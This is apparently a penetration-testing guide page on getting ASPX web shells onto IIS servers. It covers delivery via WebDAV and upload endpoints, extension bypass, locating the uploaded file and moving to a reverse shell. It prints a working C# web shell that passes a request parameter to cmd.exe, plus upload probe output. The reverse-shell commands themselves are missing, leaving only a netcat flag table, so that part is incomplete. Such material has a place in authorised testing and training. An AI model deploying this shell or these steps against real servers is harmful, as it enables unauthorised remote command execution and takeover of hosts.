IIS ASPX Web Shell Upload
ASPX web shells execute in the context of the IIS application pool identity — typically IIS APPPOOL\DefaultAppPool or a named service account. Getting an ASPX file into a web-accessible path and triggering its execution provides the initial foothold on the Windows host. This page covers shell delivery via WebDAV, file upload endpoints, and extension bypass techniques. WebDAV upload is covered in IIS WebDAV exploitation.
Minimal ASPX Web Shell
The simplest C# ASPX shell that executes commands via the cmd parameter:
<%@@ Page Language="C#" %>
<%
if(Request["cmd"] != null) {
var proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c " + Request["cmd"];
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
Response.Write(proc.StandardOutput.ReadToEnd());
}
%>
iis apppool\defaultapppool
File Upload Extension Bypass
When a file upload endpoint validates by extension, test these bypass techniques in order:
200 shell.aspx 200 shell.ashx 403 shell.asp
Locate the Upload Path
After a successful upload, find where the file was stored:
Location: /uploads/shell.aspx
200 /uploads/shell.aspx 404 /upload/shell.aspx
Get a Reverse Shell
Set up the listener and deliver a PowerShell reverse shell through the ASPX web shell. URL-encode the command:
Explain command
| -l | Listen mode, waits for incoming connections. |
| -v | Verbose output, prints connection status messages. |
| -n | Skip DNS resolution, use numeric IPs only. |
| -p | Specifies the local port number to listen on. |
| $LPORT | Variable placeholder for the local port number to bind. |
Alternatively, use a direct PowerShell reverse shell without a hosted file:
References
-
PayloadsAllTheThings — Upload Insecure Filesgithub.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files (opens in new tab)
ASPX shell payloads and extension bypass techniques
-
ASPX Reverse Shellgithub.com/borjmz/aspx-reverse-shell (opens in new tab)
Ready-made ASPX reverse shell payloads for IIS
Was this helpful?
Your feedback helps improve this page.